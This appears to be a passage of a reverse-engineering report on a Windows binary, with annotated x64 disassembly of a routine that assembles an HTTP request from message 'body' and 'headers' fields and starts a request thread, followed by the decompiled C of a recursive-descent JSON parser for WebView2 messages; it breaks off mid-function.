140006d54eb 06JMP LAB_140006d5c
LAB_140006d56:
140006d5645 89 c1MOV R9D,R8D
140006d5941 d1 e9SHR R9D,0x1
LAB_140006d5c:
140006d5c49 83 f9 06CMP R9,0x6
140006d6075 ceJNZ LAB_140006d30
140006d6241 f6 c0 01TEST R8B,0x1
140006d6675 a8JNZ LAB_140006d10
140006d684c 8d 42 e9LEA R8,[RDX + -0x17]
140006d6ceb a6JMP LAB_140006d14
LAB_140006d6e:
140006d6e66 c7 84 24 a0 00 00 00 …MOV word ptr [RSP + local_1f8[0]],0x0
140006d7848 8d 8c 24 d0 00 00 00LEA RCX,[RSP + 0xd0]
140006d804c 8d 84 24 a0 00 00 00LEA R8,[RSP + 0xa0]
140006d88e8 83 0f 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
140006d8d48 8d 4c 24 30LEA RCX,[RSP + 0x30]
140006d9248 8d 94 24 d0 00 00 00LEA RDX,[RSP + 0xd0]
140006d9ae8 91 c0 ff ffCALL FUN_140002e30; FUN_140002e30: MultiByteToWideChar
140006d9f4c 8d 73 20LEA R14,[RBX + 0x20]
140006da3f6 43 20 01TEST byte ptr [RBX + 0x20],0x1
140006da774 09JZ LAB_140006db2
140006da948 8b 4b 30MOV RCX,qword ptr [RBX + 0x30]
140006dade8 2e 8b 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006db2:
140006db248 8b 44 24 40MOV RAX,qword ptr [RSP + local_268[16]]
140006db749 89 46 10MOV qword ptr [R14 + 0x10],RAX
140006dbb0f 10 44 24 30MOVUPS XMM0,xmmword ptr [RSP + local_268[0]]
140006dc041 0f 11 06MOVUPS xmmword ptr [R14],XMM0
140006dc4c6 44 24 30 00MOV byte ptr [RSP + local_268[0]],0x0
140006dc966 c7 44 24 32 00 00MOV word ptr [RSP + local_268[2]],0x0
140006dd0f6 84 24 d0 00 00 00 01TEST byte ptr [RSP + local_1c8[0]],0x1
140006dd874 0dJZ LAB_140006de7
140006dda48 8b 8c 24 e0 00 00 00MOV RCX,qword ptr [RSP + local_1c8[16]]
140006de2e8 f9 8a 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006de7:
140006de7f6 84 24 a0 00 00 00 01TEST byte ptr [RSP + local_1f8[0]],0x1
140006def74 0dJZ LAB_140006dfe
140006df148 8b 8c 24 b0 00 00 00MOV RCX,qword ptr [RSP + local_1e8]
140006df9e8 e2 8a 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140006dfe:
140006dfe8b 07MOV EAX,dword ptr [RDI]
LAB_140006e00:
140006e00c6 44 24 30 08MOV byte ptr [RSP + local_268[0]],0x8
140006e05c7 44 24 31 62 6f 64 79MOV dword ptr [RSP + local_268[1]],0x79646f62
140006e0d83 f8 06CMP EAX,0x6
140006e1075 6cJNZ LAB_140006e7e
140006e1248 8b 4f 40MOV RCX,qword ptr [RDI + 0x40]
140006e164c 8b 47 48MOV R8,qword ptr [RDI + 0x48]
140006e1a4c 39 c1CMP RCX,R8
140006e1d74 5fJZ LAB_140006e7e
140006e1f48 8d 51 28LEA RDX,[RCX + 0x28]
140006e23eb 1fJMP LAB_140006e44
LAB_140006e25:
140006e254c 8b 4a e8MOV R9,qword ptr [RDX + -0x18]
LAB_140006e29:
140006e2945 8b 09MOV R9D,dword ptr [R9]
140006e2c44 3b 4c 24 31CMP R9D,dword ptr [RSP + local_268[1]]
140006e3174 3aJZ LAB_140006e6d
LAB_140006e33:
140006e334c 8d 4a d8LEA R9,[RDX + -0x28]
140006e3748 83 c2 70ADD RDX,0x70
140006e3b49 83 c1 70ADD R9,0x70
140006e3f4d 39 c1CMP R9,R8
140006e4274 3aJZ LAB_140006e7e
LAB_140006e44:
140006e4444 0f b6 4a d8MOVZX R9D,byte ptr [RDX + -0x28]
140006e4941 f6 c1 01TEST R9B,0x1
140006e4d74 06JZ LAB_140006e55
140006e4f4c 8b 52 e0MOV R10,qword ptr [RDX + -0x20]
140006e53eb 06JMP LAB_140006e5b
LAB_140006e55:
140006e5545 89 caMOV R10D,R9D
140006e5841 d1 eaSHR R10D,0x1
LAB_140006e5b:
140006e5b49 83 fa 04CMP R10,0x4
140006e5f75 d2JNZ LAB_140006e33
140006e6141 f6 c1 01TEST R9B,0x1
140006e6575 beJNZ LAB_140006e25
140006e674c 8d 4a d9LEA R9,[RDX + -0x27]
140006e6beb bcJMP LAB_140006e29
LAB_140006e6d:
140006e6d83 7a f0 04CMP dword ptr [RDX + -0x10],0x4
140006e7175 38JNZ LAB_140006eab
140006e7348 8d 4b 50LEA RCX,[RBX + 0x50]
140006e77e8 04 97 00 00CALL FUN_140010580; FUN_140010580: memmove, memcpy
140006e7c8b 07MOV EAX,dword ptr [RDI]
LAB_140006e7e:
140006e7ec6 44 24 30 0eMOV byte ptr [RSP + local_268[0]],0xe
140006e83c7 44 24 31 68 65 61 64MOV dword ptr [RSP + local_268[1]],0x64616568
140006e8bc7 44 24 34 64 65 72 73MOV dword ptr [RSP + local_268[4]],0x73726564
140006e9383 f8 06CMP EAX,0x6
140006e960f 85 cb 02 00 00JNZ LAB_140007167
140006e9c48 8d 44 24 31LEA RAX,[RSP + 0x31]
140006ea148 8b 4f 40MOV RCX,qword ptr [RDI + 0x40]
140006ea54c 8b 47 48MOV R8,qword ptr [RDI + 0x48]
140006ea9eb 37JMP LAB_140006ee2
LAB_140006eab:
140006eabc6 44 24 30 0eMOV byte ptr [RSP + local_268[0]],0xe
140006eb048 8d 44 24 31LEA RAX,[RSP + 0x31]
140006eb5c7 44 24 31 68 65 61 64MOV dword ptr [RSP + local_268[1]],0x64616568
140006ebdc7 44 24 34 64 65 72 73MOV dword ptr [RSP + local_268[4]],0x73726564
140006ec5eb 1bJMP LAB_140006ee2
LAB_140006ec7:
140006ec748 8b 51 10MOV RDX,qword ptr [RCX + 0x10]
LAB_140006ecb:
140006ecb44 8b 0aMOV R9D,dword ptr [RDX]
140006ece44 33 4c 24 31XOR R9D,dword ptr [RSP + local_268[1]]
140006ed38b 52 03MOV EDX,dword ptr [RDX + 0x3]
140006ed633 50 03XOR EDX,dword ptr [RAX + local_268[4]]
140006ed944 09 caOR EDX,R9D
140006edc74 32JZ LAB_140006f10
LAB_140006ede:
140006ede48 83 c1 70ADD RCX,0x70
LAB_140006ee2:
140006ee24c 39 c1CMP RCX,R8
140006ee50f 84 7c 02 00 00JZ LAB_140007167
140006eeb0f b6 11MOVZX EDX,byte ptr [RCX]
140006eeef6 c2 01TEST DL,0x1
140006ef174 06JZ LAB_140006ef9
140006ef34c 8b 49 08MOV R9,qword ptr [RCX + 0x8]
140006ef7eb 06JMP LAB_140006eff
LAB_140006ef9:
140006ef941 89 d1MOV R9D,EDX
140006efc41 d1 e9SHR R9D,0x1
LAB_140006eff:
140006eff49 83 f9 07CMP R9,0x7
140006f0375 d9JNZ LAB_140006ede
140006f05f6 c2 01TEST DL,0x1
140006f0875 bdJNZ LAB_140006ec7
140006f0a48 8d 51 01LEA RDX,[RCX + 0x1]
140006f0eeb bbJMP LAB_140006ecb
LAB_140006f10:
140006f1083 79 18 06CMP dword ptr [RCX + 0x18],0x6
140006f140f 85 4d 02 00 00JNZ LAB_140007167
140006f1a48 8b 79 58MOV RDI,qword ptr [RCX + 0x58]
140006f1e48 8b 69 60MOV RBP,qword ptr [RCX + 0x60]
140006f2248 39 efCMP RDI,RBP
140006f250f 84 3c 02 00 00JZ LAB_140007167
140006f2b49 89 deMOV R14,RBX
140006f2e49 83 c6 38ADD R14,0x38
140006f324c 8d bc 24 60 01 00 00LEA R15,[RSP + 0x160]
140006f3a0f 57 f6XORPS XMM6,XMM6
140006f3d4c 8d ac 24 88 00 00 00LEA R13,[RSP + 0x88]
140006f45eb 0dJMP LAB_140006f54
LAB_140006f47:
140006f4748 83 c7 58ADD RDI,0x58
140006f4b48 39 efCMP RDI,RBP
140006f4e0f 84 13 02 00 00JZ LAB_140007167
LAB_140006f54:
140006f544c 89 f9MOV RCX,R15
140006f5748 89 faMOV RDX,RDI
140006f5ae8 d1 be ff ffCALL FUN_140002e30; FUN_140002e30: MultiByteToWideChar
140006f5f4c 89 f9MOV RCX,R15
140006f6248 8d 15 f7 4b 09 00LEA RDX,[DAT_14009bb60]
140006f69e8 42 a2 00 00CALL FUN_1400111b0; FUN_1400111b0: wcslen, memmove
140006f6e48 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
140006f7248 89 8c 24 b0 00 00 00MOV qword ptr [RSP + local_1e8],RCX
140006f7a0f 10 00MOVUPS XMM0,xmmword ptr [RAX]
140006f7d0f 29 84 24 a0 00 00 00MOVAPS xmmword ptr [RSP + local_1f8[0]],XMM0
140006f850f 11 30MOVUPS xmmword ptr [RAX],XMM6
140006f8848 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
140006f9066 c7 84 24 08 02 00 00 …MOV word ptr [RSP + local_90],0x0
140006f9a48 83 c7 18ADD RDI,0x18
140006f9e4c 89 e9MOV RCX,R13
140006fa148 89 faMOV RDX,RDI
140006fa44c 8d 84 24 08 02 00 00LEA R8,[RSP + 0x208]
140006face8 5f 0d 00 00CALL FUN_140007d10; FUN_140007d10: strlen, memcpy
140006fb148 8d 8c 24 30 01 00 00LEA RCX,[RSP + 0x130]
140006fb94c 89 eaMOV RDX,R13
140006fbce8 6f be ff ffCALL FUN_140002e30; FUN_140002e30: MultiByteToWideChar
140006fc10f b6 84 24 30 01 00 00MOVZX EAX,byte ptr [RSP + local_168]
140006fc941 89 c0MOV R8D,EAX
140006fcc41 d1 e8SHR R8D,0x1
140006fcfa8 01TEST AL,0x1
140006fd148 8b 94 24 40 01 00 00MOV RDX,qword ptr [RSP + local_158]
140006fd948 8d 84 24 32 01 00 00LEA RAX,[RSP + 0x132]
140006fe148 0f 44 d0CMOVZ RDX,RAX
140006fe54c 0f 45 84 24 38 01 00 …CMOVNZ R8,qword ptr [RSP + local_160]
140006fee48 8d 8c 24 a0 00 00 00LEA RCX,[RSP + 0xa0]
140006ff6e8 95 a2 00 00CALL FUN_140011290; FUN_140011290: memmove
140006ffb48 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
140006fff48 89 8c 24 e0 00 00 00MOV qword ptr [RSP + local_1c8[16]],RCX
1400070070f 10 00MOVUPS XMM0,xmmword ptr [RAX]
14000700a0f 29 84 24 d0 00 00 00MOVAPS xmmword ptr [RSP + local_1c8[0]],XMM0
1400070120f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000701548 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000701d48 8d 8c 24 d0 00 00 00LEA RCX,[RSP + 0xd0]
14000702548 8d 15 3a 4b 09 00LEA RDX,[DAT_14009bb66]
14000702ce8 7f a1 00 00CALL FUN_1400111b0; FUN_1400111b0: wcslen, memmove
14000703148 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
14000703548 89 4c 24 40MOV qword ptr [RSP + local_268[16]],RCX
14000703a0f 10 00MOVUPS XMM0,xmmword ptr [RAX]
14000703d0f 29 44 24 30MOVAPS xmmword ptr [RSP + local_268[0]],XMM0
1400070420f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000704548 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000704d0f b6 44 24 30MOVZX EAX,byte ptr [RSP + local_268[0]]
14000705241 89 c0MOV R8D,EAX
14000705541 d1 e8SHR R8D,0x1
140007058a8 01TEST AL,0x1
14000705a48 8b 54 24 40MOV RDX,qword ptr [RSP + local_268[16]]
14000705f48 8d 44 24 32LEA RAX,[RSP + 0x32]
14000706448 0f 44 d0CMOVZ RDX,RAX
1400070684c 0f 45 44 24 38CMOVNZ R8,qword ptr [RSP + local_268[8]]
14000706e4c 89 f1MOV RCX,R14
140007071e8 1a a2 00 00CALL FUN_140011290; FUN_140011290: memmove
140007076f6 44 24 30 01TEST byte ptr [RSP + local_268[0]],0x1
14000707b75 49JNZ LAB_1400070c6
14000707df6 84 24 d0 00 00 00 01TEST byte ptr [RSP + local_1c8[0]],0x1
14000708575 53JNZ LAB_1400070da
LAB_140007087:
140007087f6 84 24 30 01 00 00 01TEST byte ptr [RSP + local_168],0x1
14000708f75 60JNZ LAB_1400070f1
LAB_140007091:
140007091f6 84 24 88 00 00 00 01TEST byte ptr [RSP + local_210],0x1
14000709975 6dJNZ LAB_140007108
LAB_14000709b:
14000709bf6 84 24 08 02 00 00 01TEST byte ptr [RSP + local_90],0x1
1400070a375 7aJNZ LAB_14000711f
LAB_1400070a5:
1400070a5f6 84 24 a0 00 00 00 01TEST byte ptr [RSP + local_1f8[0]],0x1
1400070ad0f 85 87 00 00 00JNZ LAB_14000713a
LAB_1400070b3:
1400070b3f6 84 24 60 01 00 00 01TEST byte ptr [RSP + local_138],0x1
1400070bb0f 84 86 fe ff ffJZ LAB_140006f47
1400070c1e9 8f 00 00 00JMP LAB_140007155
LAB_1400070c6:
1400070c648 8b 4c 24 40MOV RCX,qword ptr [RSP + local_268[16]]
1400070cbe8 10 88 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400070d0f6 84 24 d0 00 00 00 01TEST byte ptr [RSP + local_1c8[0]],0x1
1400070d874 adJZ LAB_140007087
LAB_1400070da:
1400070da48 8b 8c 24 e0 00 00 00MOV RCX,qword ptr [RSP + local_1c8[16]]
1400070e2e8 f9 87 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400070e7f6 84 24 30 01 00 00 01TEST byte ptr [RSP + local_168],0x1
1400070ef74 a0JZ LAB_140007091
LAB_1400070f1:
1400070f148 8b 8c 24 40 01 00 00MOV RCX,qword ptr [RSP + local_158]
1400070f9e8 e2 87 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400070fef6 84 24 88 00 00 00 01TEST byte ptr [RSP + local_210],0x1
14000710674 93JZ LAB_14000709b
LAB_140007108:
14000710848 8b 8c 24 98 00 00 00MOV RCX,qword ptr [RSP + local_200]
140007110e8 cb 87 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007115f6 84 24 08 02 00 00 01TEST byte ptr [RSP + local_90],0x1
14000711d74 86JZ LAB_1400070a5
LAB_14000711f:
14000711f48 8b 8c 24 18 02 00 00MOV RCX,qword ptr [RSP + local_80]
140007127e8 b4 87 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000712cf6 84 24 a0 00 00 00 01TEST byte ptr [RSP + local_1f8[0]],0x1
1400071340f 84 79 ff ff ffJZ LAB_1400070b3
LAB_14000713a:
14000713a48 8b 8c 24 b0 00 00 00MOV RCX,qword ptr [RSP + local_1e8]
140007142e8 99 87 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007147f6 84 24 60 01 00 00 01TEST byte ptr [RSP + local_138],0x1
14000714f0f 84 f2 fd ff ffJZ LAB_140006f47
LAB_140007155:
14000715548 8b 8c 24 70 01 00 00MOV RCX,qword ptr [RSP + local_128]
14000715de8 7e 87 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007162e9 e0 fd ff ffJMP LAB_140006f47
LAB_140007167:
14000716748 c7 44 24 28 00 00 00 …MOV qword ptr [RSP + local_270],0x0
140007170c7 44 24 20 00 00 00 00MOV dword ptr [RSP + local_278],0x0
1400071784c 8d 05 81 ce ff ffLEA R8,[http_request]; → http_request (B3, E3)
14000717f31 c9XOR ECX,ECX
14000718131 d2XOR EDX,EDX
14000718349 89 d9MOV R9,RBX
140007186ff 15 64 b6 0a 00CALL qword ptr [PTR_CreateThread_1400b27f0]
14000718c48 85 c0TEST RAX,RAX
14000718f74 0eJZ LAB_14000719f
14000719148 89 c1MOV RCX,RAX
140007194ff 15 2e b6 0a 00CALL qword ptr [PTR_CloseHandle_1400b27c8]
14000719ae9 7e f7 ff ffJMP LAB_14000691d
LAB_14000719f:
14000719ff6 43 50 01TEST byte ptr [RBX + 0x50],0x1
1400071a30f 85 83 00 00 00JNZ LAB_14000722c
1400071a9f6 43 38 01TEST byte ptr [RBX + 0x38],0x1
1400071ad0f 85 8c 00 00 00JNZ LAB_14000723f
LAB_1400071b3:
1400071b3f6 43 20 01TEST byte ptr [RBX + 0x20],0x1
1400071b70f 85 95 00 00 00JNZ LAB_140007252
LAB_1400071bd:
1400071bd41 f6 04 24 01TEST byte ptr [R12],0x1
1400071c274 09JZ LAB_1400071cd
LAB_1400071c4:
1400071c448 8b 4b 18MOV RCX,qword ptr [RBX + 0x18]
1400071c8e8 13 87 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400071cd:
1400071cd48 89 d9MOV RCX,RBX
1400071d0e8 0b 87 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400071d566 c7 44 24 30 00 00MOV word ptr [RSP + local_268[0]],0x0
1400071dcc6 84 24 d0 00 00 00 1aMOV byte ptr [RSP + local_1c8[0]],0x1a
1400071e448 b8 74 68 72 65 61 64 …MOV RAX,0x6620646165726874
1400071ee48 89 84 24 d1 00 00 00MOV qword ptr [RSP + local_1c8[1]],RAX
1400071f648 b8 64 20 66 61 69 6c …MOV RAX,0x64656c6961662064
14000720048 89 84 24 d6 00 00 00MOV qword ptr [RSP + local_1c8[6]],RAX
140007208c6 84 24 de 00 00 00 00MOV byte ptr [RSP + local_1c8[14]],0x0
1400072104c 8d 44 24 30LEA R8,[RSP + 0x30]
1400072154c 8d 8c 24 d0 00 00 00LEA R9,[RSP + 0xd0]
14000721d48 89 f1MOV RCX,RSI
14000722031 d2XOR EDX,EDX
140007222e8 d9 b6 ff ffCALL json_response_builder; → json_response_builder (B10, E19)
140007227e9 e0 f6 ff ffJMP LAB_14000690c
LAB_14000722c:
14000722c48 8b 4b 60MOV RCX,qword ptr [RBX + 0x60]
140007230e8 ab 86 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007235f6 43 38 01TEST byte ptr [RBX + 0x38],0x1
1400072390f 84 74 ff ff ffJZ LAB_1400071b3
LAB_14000723f:
14000723f48 8b 4b 48MOV RCX,qword ptr [RBX + 0x48]
140007243e8 98 86 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140007248f6 43 20 01TEST byte ptr [RBX + 0x20],0x1
14000724c0f 84 6b ff ff ffJZ LAB_1400071bd
LAB_140007252:
14000725248 8b 4b 30MOV RCX,qword ptr [RBX + 0x30]
140007256e8 85 86 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000725b41 f6 04 24 01TEST byte ptr [R12],0x1
1400072600f 85 5e ff ff ffJNZ LAB_1400071c4
140007266e9 62 ff ff ffJMP LAB_1400071cd
LAB_14000726b:
14000726be8 80 d7 ff ffCALL FUN_1400049f0; FUN_1400049f0: __acrt_iob_func, RtlUnwindEx
LAB_140007270:
140007270e8 0b 16 00 00CALL FUN_140008880; FUN_140008880: __acrt_iob_func, RtlUnwindEx
LAB_140007275:
140007275e8 76 d7 ff ffCALL FUN_1400049f0; FUN_1400049f0: __acrt_iob_func, RtlUnwindEx

json_parser

0x1400075c01644 bytes
ulonglong json_parser(longlong * param_1, undefined4 * param_2, char * * param_3, ulonglong param_4)

Recursive-descent JSON parser for incoming WebView2 messages; handles strings, arrays, objects, numbers

Cited as
E20
Behaviours
B10
Called from
ui_thread_handler, json_parser
Calls
json_parser, FUN_140007cb0, FUN_140007e40, FUN_140008250, FUN_140008530, FUN_140008de0, FUN_14001f8e0, strncmp, strtod
Decompiled C · 368 lines
ulonglong json_parser(longlong *param_1,undefined4 *param_2,char **param_3,ulonglong param_4)

{
  byte bVar1;
  double dVar2;
  bool bVar3;
  void *pvVar4;
  int iVar5;
  undefined8 uVar6;
  byte *pbVar7;
  byte *pbVar8;
  ulonglong uVar9;
  ulonglong *puVar10;
  undefined7 uVar13;
  byte *pbVar11;
  byte *pbVar12;
  void *pvVar14;
  char *local_d0;
  ulonglong uStack_c8;
  ulonglong uStack_c0;
  ulonglong uStack_b8;
  void *pvStack_b0;
  void *local_a8;
  ulonglong uStack_a0;
  ulonglong local_98;
  void *pvStack_90;
  void *local_88;
  ulonglong uStack_80;
  ulonglong local_78;
  ulonglong uStack_70;
  void *local_68;
  longlong *local_60;
  
  pbVar11 = (byte *)*param_1;
  while( true ) {
    uVar9 = (ulonglong)*pbVar11;
    uVar13 = (undefined7)((ulonglong)pbVar11 >> 8);
    if (0x22 < uVar9) break;
    if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) {
      if (uVar9 == 0x22) {
        uVar6 = FUN_140007e40(param_1,(ulonglong *)(param_2 + 4),(ulonglong)param_3,param_4);
        if ((char)uVar6 == '\0') goto LAB_14000795b;
        *param_2 = 4;
        pbVar12 = (byte *)CONCAT71(uVar13,1);
        goto LAB_14000795d;
      }
      break;
    }
    pbVar11 = pbVar11 + 1;
    *param_1 = (longlong)pbVar11;
  }
  switch(*pbVar11) {
  case 0x5b:
    pbVar12 = pbVar11 + 1;
    *param_1 = (longlong)pbVar12;
    *param_2 = 5;
    pbVar8 = (byte *)*param_1;
    while( true ) {
      pbVar7 = pbVar8 + 1;
      bVar1 = *pbVar8;
      if ((0x20 < (ulonglong)bVar1) || ((0x100002600U >> ((ulonglong)bVar1 & 0x3f) & 1) == 0))
      break;
      *param_1 = (longlong)pbVar7;
      pbVar8 = pbVar7;
    }
    if (bVar1 != 0x5d) {
      local_60 = (longlong *)(param_2 + 10);
      do {
        local_d0 = (char *)((ulonglong)local_d0 & 0xffffffff00000000);
        local_88 = (void *)0x0;
        uStack_80 = 0;
        local_98 = 0;
        pvStack_90 = (void *)0x0;
        local_a8 = (void *)0x0;
        uStack_a0 = 0;
        uStack_b8 = 0;
        pvStack_b0 = (void *)0x0;
        uStack_c8 = 0;
        uStack_c0 = 0;
        uVar9 = json_parser(param_1,(undefined4 *)&local_d0,param_3,param_4);
        bVar3 = true;
        if ((char)uVar9 == '\0') {
LAB_140007820:
          pbVar12 = (byte *)0x0;
        }
        else {
          puVar10 = *(ulonglong **)(param_2 + 0xc);
          if (puVar10 < *(ulonglong **)(param_2 + 0xe)) {
            *puVar10 = (ulonglong)local_d0;
            puVar10[1] = uStack_c8;
            puVar10[4] = (ulonglong)pvStack_b0;
            puVar10[2] = uStack_c0;
            puVar10[3] = uStack_b8;
            uStack_c0 = 0;
            uStack_b8 = 0;
            pvStack_b0 = (void *)0x0;
            puVar10[5] = 0;
            puVar10[6] = 0;
            puVar10[7] = 0;
            puVar10[5] = (ulonglong)local_a8;
            puVar10[6] = uStack_a0;
            puVar10[7] = local_98;
            local_a8 = (void *)0x0;
            uStack_a0 = 0;
            local_98 = 0;
            puVar10[8] = 0;
            puVar10[9] = 0;
            puVar10[10] = 0;
            puVar10[8] = (ulonglong)pvStack_90;
            puVar10[9] = (ulonglong)local_88;
            puVar10[10] = uStack_80;
            pvStack_90 = (void *)0x0;
            local_88 = (void *)0x0;
            uStack_80 = 0;
            puVar10 = puVar10 + 0xb;
          }
          else {
            puVar10 = (ulonglong *)FUN_140008250(local_60,&local_d0,param_3,param_4);
          }
          *(ulonglong **)(param_2 + 0xc) = puVar10;
          pbVar11 = (byte *)*param_1;
          while( true ) {
            pbVar8 = pbVar11 + 1;
            uVar9 = (ulonglong)*pbVar11;
            if (0x2c < uVar9) break;
            if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) {
              if (uVar9 == 0x2c) {
                bVar3 = false;
                *param_1 = (longlong)pbVar8;
                goto LAB_140007822;
              }
              break;
            }
            *param_1 = (longlong)pbVar8;
            pbVar11 = pbVar8;
          }
          if (*pbVar11 != 0x5d) goto LAB_140007820;
          bVar3 = true;
          *param_1 = (longlong)pbVar8;
          pbVar12 = (byte *)CONCAT71((int7)((ulonglong)pbVar12 >> 8),1);
        }
LAB_140007822:
        pvVar4 = pvStack_90;
        if (pvStack_90 != (void *)0x0) {
          pbVar12 = (byte *)((ulonglong)pbVar12 & 0xffffffff);
          for (pvVar14 = local_88; pvVar4 != pvVar14; pvVar14 = (void *)((longlong)pvVar14 + -0x70))
          {
            FUN_140007cb0((longlong)pvVar14 + -0x58);
            if ((*(byte *)((longlong)pvVar14 + -0x70) & 1) != 0) {
              FUN_14001f8e0(*(void **)((longlong)pvVar14 + -0x60));
            }
          }
          local_88 = pvVar4;
          FUN_14001f8e0(pvStack_90);
        }
        if (local_a8 != (void *)0x0) {
          FUN_140008de0((longlong)&local_a8,(longlong)local_a8);
          FUN_14001f8e0(local_a8);
        }
        if ((uStack_c0 & 1) != 0) {
          FUN_14001f8e0(pvStack_b0);
        }
      } while (!bVar3);
      goto LAB_14000795d;
    }
    goto LAB_14000790d;
  default:
    local_d0 = (char *)0x0;
    dVar2 = strtod((char *)pbVar11,&local_d0);
    pbVar12 = (byte *)CONCAT71(uVar13,local_d0 != (char *)*param_1);
    if (local_d0 != (char *)*param_1) {
      *param_1 = (longlong)local_d0;
      *param_2 = 3;
      *(double *)(param_2 + 2) = dVar2;
    }
    goto LAB_14000795d;
  case 0x66:
    iVar5 = strncmp((char *)pbVar11,"false",5);
    if (iVar5 == 0) {
      *param_1 = (longlong)(pbVar11 + 5);
      *param_2 = 1;
      pbVar12 = (byte *)CONCAT71((int7)((ulonglong)(pbVar11 + 5) >> 8),1);
      goto LAB_14000795d;
    }
    break;
  case 0x6e:
    iVar5 = strncmp((char *)pbVar11,"null",4);
    if (iVar5 == 0) {
      *param_1 = (longlong)(pbVar11 + 4);
      *param_2 = 0;
      pbVar12 = (byte *)CONCAT71((int7)((ulonglong)(pbVar11 + 4) >> 8),1);
      goto LAB_14000795d;
    }
    break;
  case 0x74:
    iVar5 = strncmp((char *)pbVar11,"true",4);
    if (iVar5 == 0) {
      *param_1 = (longlong)(pbVar11 + 4);
      *param_2 = 2;
      pbVar12 = (byte *)CONCAT71((int7)((ulonglong)(pbVar11 + 4) >> 8),1);
      goto LAB_14000795d;
    }
    break;
  case 0x7b:
    pbVar12 = pbVar11 + 1;
    *param_1 = (longlong)pbVar12;
    *param_2 = 6;
    pbVar8 = (byte *)*param_1;
    while( true ) {
      pbVar7 = pbVar8 + 1;
      bVar1 = *pbVar8;
      if ((0x20 < (ulonglong)bVar1) || ((0x100002600U >> ((ulonglong)bVar1 & 0x3f) & 1) == 0))
      break;
      *param_1 = (longlong)pbVar7;
      pbVar8 = pbVar7;
    }
    if (bVar1 != 0x7d) {
LAB_14000798f:
      pbVar11 = (byte *)*param_1;
      while( true ) {
        uVar9 = (ulonglong)*pbVar11;
        if (0x22 < uVar9) goto LAB_14000795b;
        if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) break;
        *param_1 = (longlong)(pbVar11 + 1);
        pbVar11 = pbVar11 + 1;
      }
      if (uVar9 == 0x22) {
        local_78 = 0;
        uStack_70 = 0;
        local_68 = (void *)0x0;
        uVar6 = FUN_140007e40(param_1,&local_78,(ulonglong)param_3,param_4);
        bVar3 = true;
        if ((char)uVar6 != '\0') {
          pbVar11 = (byte *)*param_1;
          while( true ) {
            pbVar8 = pbVar11 + 1;
            uVar9 = (ulonglong)*pbVar11;
            if (0x3a < uVar9) break;
            if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) {
              if (uVar9 == 0x3a) {
                *param_1 = (longlong)pbVar8;
                local_d0 = (char *)((ulonglong)local_d0 & 0xffffffff00000000);
                local_88 = (void *)0x0;
                uStack_80 = 0;
                local_98 = 0;
                pvStack_90 = (void *)0x0;
                local_a8 = (void *)0x0;
                uStack_a0 = 0;
                uStack_b8 = 0;
                pvStack_b0 = (void *)0x0;
                uStack_c8 = 0;
                uStack_c0 = 0;
                uVar9 = json_parser(param_1,(undefined4 *)&local_d0,param_3,param_4);
                bVar3 = true;
                if ((char)uVar9 == '\0') goto LAB_140007b75;
                puVar10 = *(ulonglong **)(param_2 + 0x12);
                if (puVar10 < *(ulonglong **)(param_2 + 0x14)) {
                  puVar10[2] = (ulonglong)local_68;
                  *puVar10 = local_78;
                  puVar10[1] = uStack_70;
                  local_78 = 0;
                  uStack_70 = 0;
                  local_68 = (void *)0x0;
                  puVar10[3] = (ulonglong)local_d0;
                  puVar10[4] = uStack_c8;
                  puVar10[7] = (ulonglong)pvStack_b0;
                  puVar10[5] = uStack_c0;
                  puVar10[6] = uStack_b8;
                  uStack_c0 = 0;
                  uStack_b8 = 0;
                  pvStack_b0 = (void *)0x0;
                  puVar10[8] = (ulonglong)local_a8;
                  puVar10[9] = uStack_a0;
                  puVar10[10] = local_98;
                  local_a8 = (void *)0x0;
                  uStack_a0 = 0;
                  local_98 = 0;
                  puVar10[0xb] = (ulonglong)pvStack_90;
                  puVar10[0xc] = (ulonglong)local_88;
                  puVar10[0xd] = uStack_80;
                  pvStack_90 = (void *)0x0;
                  local_88 = (void *)0x0;
                  uStack_80 = 0;
                  puVar10 = puVar10 + 0xe;
                }
                else {
                  param_3 = &local_d0;
                  puVar10 = (ulonglong *)
                            FUN_140008530((longlong *)(param_2 + 0x10),&local_78,param_3,param_4);
                }
                *(ulonglong **)(param_2 + 0x12) = puVar10;
                pbVar11 = (byte *)*param_1;
                goto LAB_140007b40;
              }
              break;
            }
            *param_1 = (longlong)pbVar8;
            pbVar11 = pbVar8;
          }
        }
        pbVar12 = (byte *)0x0;
        goto LAB_140007af8;
      }
      break;
    }
LAB_14000790d:
    *param_1 = (longlong)pbVar7;
    pbVar12 = (byte *)CONCAT71((int7)((ulonglong)(pbVar11 + 1) >> 8),1);
    goto LAB_14000795d;
  }
LAB_14000795b:
  pbVar12 = (byte *)0x0;
LAB_14000795d:
  return (ulonglong)pbVar12 & 0xffffff01;
LAB_140007b40:
  pbVar8 = pbVar11 + 1;
  uVar9 = (ulonglong)*pbVar11;
  if (0x2c < uVar9) goto LAB_140007b66;
  if ((0x100002600U >> (uVar9 & 0x3f) & 1) == 0) {
